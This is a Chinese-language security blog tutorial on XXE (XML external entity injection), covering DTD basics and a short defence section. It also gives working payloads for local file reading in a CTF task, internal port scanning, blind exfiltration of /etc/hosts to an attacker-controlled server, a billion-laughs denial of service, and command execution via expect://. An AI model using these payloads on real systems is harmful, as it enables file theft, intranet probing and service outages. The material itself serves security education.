N0rth3ty's Blog.

浅谈XXE漏洞

字数统计: 1.6k阅读时长: 7 min
2018/09/11 Share

写一写关于一些漏洞的具体理解

漏洞简介

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,
XXE漏洞发生在应用程序解析XML输入时,
没有禁止外部实体的加载,导致可加载恶意外部文件,
造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。
xxe漏洞触发的点往往是可以上传xml文件的位置,
没有对上传的xml文件进行过滤,导致可上传恶意xml文件。

XML基础

既然是XML注入,自然需要了解一些XML相关对知识。

什么是XML?

  • XML 指可扩展标记语言(EXtensible Markup Language)

  • XML 是一种标记语言,很类似 HTML

  • XML 的设计宗旨是传输数据,而非显示数据

  • XML 标签没有被预定义。您需要自行定义标签

  • XML 被设计为具有自我描述性

  • XML 是 W3C 的推荐标准

与HTML的对比

  • XML 不是 HTML 的替代

  • XML 和 HTML 为不同的目的而设计

  • XML 被设计为传输和存储数据,其焦点是数据的内容

  • HTML 被设计用来显示数据,其焦点是数据的外观

  • HTML 旨在显示信息,而 XML 旨在传输信息

简单说来XML主要是面向传输的

XML文档结构包括XML申明,DTD(文档类型定义),文档元素
XXE的成因与DTD文档相关

文档类型定义(DTD)可定义合法的XML文档构建模块,它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于XML文档中(内部引用),也可作为一个外部引用。

我们来看一个带DTD的实例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
!--XML申明-->
<?xml version="1.0"?>
<!--文档类型定义-->
<!DOCTYPE note [ <!--定义此文档是 note 类型的文档-->
<!ELEMENT note (to,from,heading,body)> <!--定义note元素有四个元素-->
<!ELEMENT to (#PCDATA)> <!--定义to元素为”#PCDATA”类型-->
<!ELEMENT from (#PCDATA)> <!--定义from元素为”#PCDATA”类型-->
<!ELEMENT head (#PCDATA)> <!--定义head元素为”#PCDATA”类型-->
<!ELEMENT body (#PCDATA)> <!--定义body元素为”#PCDATA”类型-->
]]]>
<!--文档元素-->
<note>
<to>Dave</to>
<from>Tom</from>
<head>Reminder</head>
<body>You are a good man</body>
</note>

可以用如下语法引入外部DTD

1
<!DOCTYPE 根元素 SYSTEM "文件名">

在DTD文档中
DOCTYPE用于DTD的申明
SYSTEM,PUBLIC用于外部资源申明
ENTITY用于实体的申明,实体可以简单理解为变量,主要了解这几种
内部实体

<!ENTITY 实体名称 "实体的值">

外部实体

<!ENTITY 实体名称 SYSTEM "URL">

参数实体

<!ENTITY %实体名称 "值"> 或 <!ENTITY %实体名称 SYSTEM "URL">

参数实体用%实体名称申明,引用时也一样,其它的用实体名申明,引用时用&实体名
实体都只能在DTD中申明,参数实体只能在DTD中引用,其它实体在XML中引用
常见的外部实体类型有http,https,file,ftp等

攻击方式

引用外部实体进行文件读取

来看一道简单的ctf题目
题目要求读取/home/ctf/flag.txt文件
首先发包测试一下

看到能够解析json,修改content-
构造paylaod为

1
2
3
4
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE a [
<!ENTITY file SYSTEM "file:///home/ctf/flag.txt">]>
<a>&file;</a>


可以看到解析了XML并返回了flag的内容

端口扫描

1
2
3
4
5
6
7
<?xml version=”1.0″ encoding=”utf-8?>
<!DOCTYPE XXE [
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "http://127.0.0.1:80" >]>
<root>
<name>&XXE;</name
</root>

端口开放时会返回报错信息,端口不存在时会无法连接

Blind XXE

即不存在回显时的利用情况,主要思路如下

  • 客户端发送payload 1给web服务器

  • web服务器向vps获取恶意DTD,并执行文件读取payload2

  • web服务器带着回显结果访问VPS上特定的FTP或者HTTP

  • 通过VPS获得回显

payload 1

1
2
3
4
<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://192.168.1.12:80/file.xml">%remote;%int;%send;
]>
<foo></foo>

file.xml中的内容

1
2
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.12:80/?p=%file;'>">

payload会在服务器端引用外部实体

1
2
3
4
5
<!ENTITY % file SYSTEM "file:///etc/hosts">
<!ENTITY % int "<!ENTITY &#37; send system 'http://192.168.1.12:80/?p=%file;'>">

%int;%send;
最后实际生效的是这样

1
2
3
<!ENTITY &#37; send system 'http://192.168.1.12:80/?p=[文件内容]'>

%send;

Dos

著名的“billion laughs”就是利用了XXE

1
2
3
4
5
6
7
8
9
10
11
12
13
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>

这里构造了一个递归调用的XML文件,lol2引用10次lol,lol3引用10次lol2即10^次lol,以此类推

命令执行

安装expect扩展的PHP环境里还可以直接执行系统命令,其他协议也有可能可以执行系统命令。

1
2
3
4
5
6
7
<?xml version=”1.0″ encoding=”utf-8?>
<!DOCTYPE XXE
<!ELEMENT name ANY >
<!ENTITY XXE SYSTEM "expect://id" >]>
<root>
<name>&XXE;</name>
</root>

防御XXE

要对DTD对内容进行校验是不大现实大,所以最有效大办法仍然是禁用外部实体。

CATALOG
  1. 1. 漏洞简介
  2. 2. XML基础
  3. 3. 攻击方式
    1. 3.1. 引用外部实体进行文件读取
    2. 3.2. 端口扫描
    3. 3.3. Blind XXE
    4. 3.4. Dos
    5. 3.5. 命令执行
  4. 4. 防御XXE